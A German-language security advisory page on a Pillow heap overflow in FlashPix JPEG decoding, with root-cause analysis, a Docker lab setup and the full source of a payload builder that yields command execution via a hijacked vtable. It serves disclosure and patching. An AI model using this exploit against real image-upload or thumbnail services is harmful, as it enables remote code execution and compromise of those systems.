Pillow: Heap-Pufferüberlauf bei FlashPix (FPX) JPEG-Decodierung führt zu Codeausführung
Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.
Danksagung
Forscher: Alex Bouffard (mixbo@pebwalker.com)
Zusammenfassung
Ein Heap-Pufferüberlauf im FlashPix (FPX)-JPEG-Tile-Decoder von Pillow ermöglicht Angreifern die Ausführung von beliebigem Code, indem eine Anwendung dazu gebracht wird, eine einzelne manipulierte Datei mit Image.open() zu öffnen. Die Datei wird anhand des Inhalts (der OLE2-Magic) und nicht anhand der Dateiendung erkannt, sodass jeder Dienst, der nicht vertrauenswürdige Uploads bei installierter optionaler Abhängigkeit olefile öffnet oder Vorschaubilder generiert, ohne Benutzerinteraktion erreichbar ist. Im unten stehenden PoC führt das Öffnen einer manipulierten Datei einen vom Angreifer gewählten Befehl auf Standard-Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39) aus.
Details
FpxImagePlugin decodiert FlashPix (FPX)-Dateien, bei denen es sich um OLE2/CFBF-Compound-Dokumente handelt.
Image.open() erkennt diese automatisch anhand der OLE2-Magic D0CF11E0..., sobald das optionale Paket olefile installiert ist (Pillows dokumentierte Abhängigkeit für FPX/MIC-Unterstützung), unabhängig von der Dateiendung.
Für ein JPEG-komprimiertes Teilbild (compression == 2) erstellt das Plugin ein "jpeg"-Decode-Tile und leitet das (rawmode, jpegmode)-Paar aus vom Angreifer kontrollierten FPX-Farb-IDs über die Tabelle MODES ab (src/PIL/FpxImagePlugin.py L25-L32):
MODES = {
...
(0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel)
...
(0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P"
}
Der Imaging-Ausgabepuffer für das Tile ist für den Rawmode dimensioniert (hier "LA" = 2 Bytes/Pixel) (src/decode.c L223-L226):
state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);
In JpegDecode.c wird der Rawmode-String einem libjpeg-out_color_space zugeordnet. Erkannte Modi (CMYK, YCbCr, YCbCrK usw.) erhalten einen konkreten Farbraum, aber "LA" und "YCC;P" werden nicht erkannt, sodass die Ausführung den Fallback-Zweig erreicht (src/libImaging/JpegDecode.c L219-L221):
/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space = JCS_UNKNOWN;
Unter JCS_UNKNOWN führt libjpeg keine Farbkonvertierung durch und gibt cinfo.num_components Bytes pro Pixel aus, entnommen aus dem SOF-Marker des eingebetteten JPEG, den der Angreifer auf 4 setzt. Daher schreibt jpeg_read_scanlines 4 * width Bytes pro Zeile in einen Puffer, der für nur 2 * width Bytes reserviert ist (src/libImaging/JpegDecode.c L252):
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer
Dies ist ein Heap-Out-of-Bounds-Schreibvorgang mit vom Angreifer kontrollierter Länge (die Bildbreite, bis zu Zehntausenden von Pixeln, was etwa 2 * width Bytes Überlauf pro Zeile entspricht) und vom Angreifer kontrolliertem Inhalt (die decodierten Pixeldaten). Der PoC nutzt dies gezielt aus: Der Überlauf überschreibt das ob_type eines benachbarten Python-bytes-Objekts mit einem Zeiger auf eine gefälschte PyTypeObject / PyBufferProcs-Vtable, die derselbe Überlauf innerhalb des Decodierpuffers ablegt. Wenn Pillow den Eingabepuffer freigibt, durchläuft PyBuffer_Release ob_type -> tp_as_buffer -> bf_releasebuffer und führt call *rax aus; der PoC richtet diesen auf system@plt (fest, die Interpreter-Binärdatei ist non-PIE) mit auf den Befehlsstring gesetztem rdi, was zur Befehlsausführung führt.
PoC
Um eine exakte Reproduktion auf einem x86_64-System zu ermöglichen, verwendet dieser PoC das versionsgebundene Docker-Image mit deaktiviertem ASLR aus Anhang A.
Der Quellcode für den Payload-Builder make_payload.py befindet sich in Anhang B.
vulnerable.py ist das Testprogramm, ein Einzeiler, der die übergebene Datei öffnet:
#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image
Image.open(sys.argv[1]).load()
Die Payload ist eine eigenständige .fpx-Datei, die der Angreifer auf seinem eigenen System erstellt; das Zielsystem öffnet lediglich die resultierende Datei, sodass für die Erstellung weder Zugriff noch Codeausführung auf dem Zielsystem erforderlich sind. Wir führen make_payload.py hier rein aus Bequemlichkeit im selben Container aus, damit die fest hinterlegten Adressen (--offset, system@plt) zu diesem festgelegten Image passen. Die Payload leitet den manipulierten indirekten Aufruf auf system@plt um (0x4206c0, fest, da die Interpreter-Binärdatei non-PIE ist) mit einem eingebetteten Befehl:
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'
Anschließend wird die Datei mit vulnerable.py geöffnet:
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size
Image.open() der manipulierten Datei führt den eingebetteten Befehl über system("id") aus: Befehlsausführung im Kontext des Benutzers, der die Bildverarbeitung ausführt (root im Container).
Das nachfolgende corrupted size vs. prev_size resultiert aus einem Abbruch von glibc während des Interpreter-Teardowns aufgrund des beschädigten Heaps, nachdem id bereits ausgeführt wurde.
Der Builder schreibt den Befehl inline an die manipulierte Stelle rdi, daher ist --cmd auf 7 Bytes begrenzt (beispielsweise id, id;w). --offset und system@plt sind Konstanten des festgelegten Images mit deaktiviertem ASLR und bleiben über dessen Ausführungen hinweg gültig.
Auswirkungen
Es handelt sich um einen Heap-basierten Pufferüberlauf (CWE-122) / Out-of-Bounds-Schreibvorgang (CWE-787), der zur Codeausführung führt. Jede Anwendung oder jeder Dienst, der von Angreifern beeinflusste Dateien mit Pillow öffnet und die optionale Abhängigkeit olefile installiert hat, ist betroffen: Bild-Upload- und Thumbnail-Dienste, Avatar- und Medienverarbeitung, Dokument- und Bildkonvertierungs-Pipelines und ähnliche. Da die Erkennung über OLE2-Magic anstelle der Dateiendung erfolgt und der Überlauf während eines normalen Image.open() / load ausgelöst wird, ist ein Server, der eine hochgeladene Datei automatisch verarbeitet, ohne Benutzerinteraktion ausnutzbar. Das Ergebnis ist eine beliebige Befehlsausführung im Kontext des die Bildverarbeitung ausführenden Prozesses, was zur vollständigen Kompromittierung dieses Prozesses sowie der von ihm gehaltenen Daten und Privilegien führt.
Anhang A: Docker-Setup
Der PoC läuft in einem versionsgebundenen Docker-Image, damit die Umgebung deterministisch ist; das Image installiert ein versionsgebundenes Python (3.12.3) und das Pillow-12.2.0-Wheel, und der Builder ist reines Pillow. Der Entrypoint des Images deaktiviert ASLR (setarch -R), um die Anforderungen an Systemkenntnisse zu reduzieren. Das einzelne Flag --security-opt seccomp=unconfined bei docker run ist nur erforderlich, da das Deaktivieren von ASLR den Syscall personality() verwendet, den das Standard-Seccomp-Profil von Docker blockiert. Führen Sie dies nur auf eigener Infrastruktur aus.
1. Image bauen. Legen Sie vulnerable.py (PoC) und make_payload.py
(Anhang B) in ein Verzeichnis mit diesem Dockerfile:
FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
&& rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
&& /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest
2. Starten Sie die (ASLR-deaktivierte) Container-Shell mit eingehängten Skripten:
docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc
Anhang B: Quellcode des Payload-Builders
make_payload.py:
#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
--crash flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
(default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image
W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256)) # 8-bit inversion table
def jpeg(src):
b = io.BytesIO()
Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
return b.getvalue()
def decode_row(jpg):
# Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
# the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
# (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
# last decoded row is the one that lands in (and overflows past) the buffer.
px = Image.open(io.BytesIO(jpg)).tobytes()
return px[(H - 1) * W * 4:].translate(INV)
def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge)
# base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
# that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
for off, t in targets:
for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
for it in range(iters):
dec = decode_row(jpeg(src)); bad = 0
for off, t in targets:
for i, v in enumerate(t):
if dec[off + i] != v:
bad += 1
src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
if not bad: break
return jpeg(src), it, bad
def maxid_for(w, h):
s, i = max(w, h), 1
while s > 64: s //= 2; i += 1
return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID
def image_contents():
ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA"
props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
voff = 8 + 8 * len(props); idx = vals = b""
for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
body = o32(len(props)) + idx + vals
return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
+ o32(48) + o32(len(body) + 4) + body)
def subimage_header():
b = bytearray(80)
for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
(56, 36), (60, 16), (64, 0), (72, 2)]:
struct.pack_into("<I", b, o, v)
return bytes(b)
def build_fpx(jpg, out):
data = b"\x00" * 28 + jpg
assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
"hdr": pad(subimage_header().ljust(4096, b"\x00")),
"dat": pad(data.ljust(DATA_PAD, b"\x00"))}
ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
fsec = 1
while fsec * 128 < fsec + content: fsec += 1
pos = {}; cur = fsec; dstart = cur; cur += dsec
for k in order: pos[k] = cur; cur += ns(sd[k])
total = cur
fat = [FREESECT] * (fsec * 128)
for s in range(fsec): fat[s] = FATSECT
def chain(a, n):
for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
chain(dstart, dsec)
for k in order: chain(pos[k], ns(sd[k]))
def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
+ o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
directory = pad(b"".join([
de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
(48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
struct.pack_into(fmt, h, o, *v)
for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
secs = [b""] * total
for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
for k in order:
for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
open(out, "wb").write(bytes(h) + b"".join(secs))
def xhex(s): return int(s, 16)
SYSTEM_PLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)
def main():
ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
ap.add_argument("--out", required=True, help="output .fpx path")
ap.add_argument("--crash", action="store_true",
help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
ap.add_argument("--offset", type=xhex, default=0x21e800,
help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
ap.add_argument("--target", type=xhex, default=SENTINEL,
help="value called via the hijacked vtable; pass %#x (system@plt) for "
"command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
ap.add_argument("--cmd", default="id",
help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
a = ap.parse_args()
if a.crash:
# Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
# to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
"-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
return
if len(a.cmd.encode()) > 7:
sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
S = a.heap_base + a.offset
A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET
tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
(OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system()
tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8
tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
jpg, it, bad = craft(tg)
build_fpx(jpg, a.out)
print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
% (a.out, S, a.target, a.cmd, it, bad))
print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))
if __name__ == "__main__":
main()
Was zu tun ist
Eine Behebung ist nicht festgelegt.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h
- https://nvd.nist.gov/vuln/detail/CVE-2026-112398
- https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-122, CWE-787- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 19.10.2026
- Aktualisiert
- 28.10.2026 13:17
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-5x8w-8jj5-q52h - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-4330 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 106
- Erste → letzte
- 04.2014 11.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 14
- Hoch 63
- Mittel 27
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 19
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 49
früher: 12
-
Pillow: Heap-Pufferüberlauf bei FlashPix (FPX) JPEG-Decodierung führt zu Codeausführung dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.